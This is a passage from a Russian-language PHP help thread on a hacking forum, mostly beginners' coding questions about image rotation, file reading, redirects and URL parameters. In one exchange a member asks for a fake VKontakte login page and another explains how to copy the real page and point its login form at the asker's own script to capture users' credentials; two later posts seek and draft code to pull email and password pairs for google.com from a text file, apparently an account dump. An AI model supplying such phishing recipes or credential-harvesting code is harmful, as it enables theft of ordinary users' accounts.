[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    2 fox_malder
    PHP:
    <?php
    @header("Content-Type: image/jpg"); 
    function 
    imageresizerotare($outfile,$infile,$neww,$newh,$quality) {


        
    $im=imagecreatefromjpeg($infile);    
        
    $im1=imagecreatetruecolor($neww,$newh);
        
    $des=90;
        
    imagecopyresampled($im1,$im,0,0,0,0,$neww,$newh,imagesx($im),imagesy($im));
        
    $rotate imagerotate($im$des0);
        
    imagejpeg($im1$rotate$quality);
        
      }

    imageresizerotare("tets.jpg","test.jpg",500,500,100);

    ?>
    пробелы убери во 2 строке и в 9, ошибка была в 11ой, вместо $im1 стояло $iml

    P.S. если на сервере стоит дебиан - почитай
     
    #15881 Failure, 18 Jul 2010
    Last edited: 18 Jul 2010
  2. Cassie

    Cassie Member

    Joined:
    18 Mar 2009
    Messages:
    0
    Likes Received:
    6
    Reputations:
    5
    Попугай еще раз спасибо за помощь :)
    Теперь осталось найти фейк)
    Люди может завалялся у кого фейк страницы http://vkontakte.ru/login.php?u=2 с проверкой на валид? :rolleyes:
     
  3. fox_malder

    fox_malder Active Member

    Joined:
    28 Nov 2008
    Messages:
    162
    Likes Received:
    131
    Reputations:
    73
    У меня просто не получаеться развернуть картинку и сохранить ее :mad:
    А размеры ставятся
     
  4. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196

    Заходишь на http://vkontakte.ru/login.php?u=2, жмешь Ctrl+U, потом Ctrl+A, сохраняешь html-код этот себе, меняешь там

    PHP:
     <form method="post" name="login" id="login" action="http://login.vk.com/" onsubmit="if (vklogin) { return true} else { quick_login();return false;}">
    на

    PHP:
    <form method="post" name="login" id="login" action="http://your_site.ru/script.php">
    Где http://your_site.ru/script.php твой сайт со скриптом, который будет "ловить" введенные юзверем данные.
     
  5. admink1

    admink1 Member

    Joined:
    12 Jun 2009
    Messages:
    63
    Likes Received:
    21
    Reputations:
    1
    такая задача: из текстовика(допустим 1к строк) проверить каждую строку, если в строке нашел google.com то в этой же строке ищет email pass и записывает эти данные в другой текстовик.
    помогите :)
     
  6. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    написал бы сразу - сделайте за меня, ну раз помочь, разбивай файл на массив (file)
    foreach'ом пройдись с регуляркой на гугл.ком и эмейл пасс, найденные регуляркой записывай в другой файл
     
    1 person likes this.
  7. Yetisports

    Yetisports Banned

    Joined:
    11 Jul 2010
    Messages:
    147
    Likes Received:
    12
    Reputations:
    17
    Как сделать чтоб в сайт нельзя было входит через браузер Internet Explorer вовсе версии?
     
  8. SHiNiGaMi

    SHiNiGaMi Banned

    Joined:
    3 Jan 2010
    Messages:
    382
    Likes Received:
    55
    Reputations:
    15
    PHP:
    if(preg_match("#MSIE#",$HTTP[USER_AGENT]))
    {
     echo 
    "access denied!";
     exit;
    }
     else
      
    header("Location: http://site.com/page_without_ie.php");
     
  9. admink1

    admink1 Member

    Joined:
    12 Jun 2009
    Messages:
    63
    Likes Received:
    21
    Reputations:
    1
    PHP:
    $txt "txt.txt"
    $divider 'google.com';
    $accounts_file file_get_contents($txt); 
    $explode_accs explode("\r\n",$accounts_file);

    foreach(
    $explode_accs as $k => $v)

    for (
    $i=0$i<1$i++) 
    {
    $explode_acc explode($divider$v);
    $acc $explode_acc[1];

    //вроде уж так, дальше не знаю что писать, хелп :)
    }


    //в несколько действий научился делать, еще бы автоматизировать :)
     
    #15889 admink1, 19 Jul 2010
    Last edited: 19 Jul 2010
  10. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Не понимаю, почему не работает редирект в функции exit();

    PHP:
    if (!preg_match("|^[\d]+$|",$переменная)){
      exit(
      
    $URL="http://forum.antichat.ru"
      
    header("Location:$URL"));
     }                                                                                        
    ....

    И ещё вопрос по условиям

    Можно их ставить на запросы?
    Например:

    PHP:
    if ($a1 == $b1 ){
      
    mysql_query("SELECT * FROM ........");
     }
     else if (......){
      
    mysql_query("SELECT * FROM ........");
     }
    ...
    Типа так
     
    #15890 Andres, 19 Jul 2010
    Last edited: 19 Jul 2010
  11. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Andres 1) в ПХП не предусмотрен ментальный интерфейс, чтобы функции выполняли не предусмотренные действия. Читайте что делает функция exit. http://php.net/exit

    2) Можно, но почитайте хоть что-нибудь про программирование на ПХП
     
    _________________________
  12. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Нет, товарищ. "Что-нибудь" не подходит:(
     
  13. CrazyStudentS_Mi}{

    CrazyStudentS_Mi}{ Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    424
    Likes Received:
    296
    Reputations:
    92
    как строки из textarea загнать в массив?

    сделал

    PHP:
    <textarea rows='20' cols='100' name='myMegaTextArea'>вставлять сюда</textarea>  

    $data explode("\n"$_POST['myMegaTextArea']);

     
    #15893 CrazyStudentS_Mi}{, 21 Jul 2010
    Last edited: 21 Jul 2010
  14. Afarcheg

    Afarcheg New Member

    Joined:
    20 Jul 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Помогите нубу???

    Как зделать скрипт который бы брал с файла .тхт первую строку и давал бы ей переименную $proxy[$dsg] а когда делаеш $dsg++; то это ужэ след строка.
     
  15. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    $myFile = file('filename.txt');
    $dsg = 0;
    echo $myFile[$dsg++] . '<br>' . $myFile[$dsg];
     
  16. Afarcheg

    Afarcheg New Member

    Joined:
    20 Jul 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Спасиба!!! :)
     
  17. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Есть адрес типа ....catalog=1&jurnal=1&nomer=1
    Так вот, как можно сделать, чтоб не прыгать по идентификаторам?
    То есть, чтоб любой человек, не мог заменить это ...catalog=1&jurnal=1&nomer=1
    на своё, типа ...catalog=1&jurnal=2&nomer=3, даже если эти выпуски жарналов существуют?
    Я сделал, чтоб выдавало ошибку, когда идентификаторов в базе нет (через ...if..isset...), а когда есть, любой человек в верхней строке браузера может дабавлять и переходить
     
  18. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Andres, передавай параметры пост запросом...
    или адрес строить типа: mego_super_novosti.htm
     
  19. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Больше никаких хитростей?
    Сделано просто уже много работы, и параметры передаю везде через GET
     
    #15899 Andres, 22 Jul 2010
    Last edited: 22 Jul 2010
  20. SHiNiGaMi

    SHiNiGaMi Banned

    Joined:
    3 Jan 2010
    Messages:
    382
    Likes Received:
    55
    Reputations:
    15
    Mod Rewrite
     
    1 person likes this.
Thread Status:
Not open for further replies.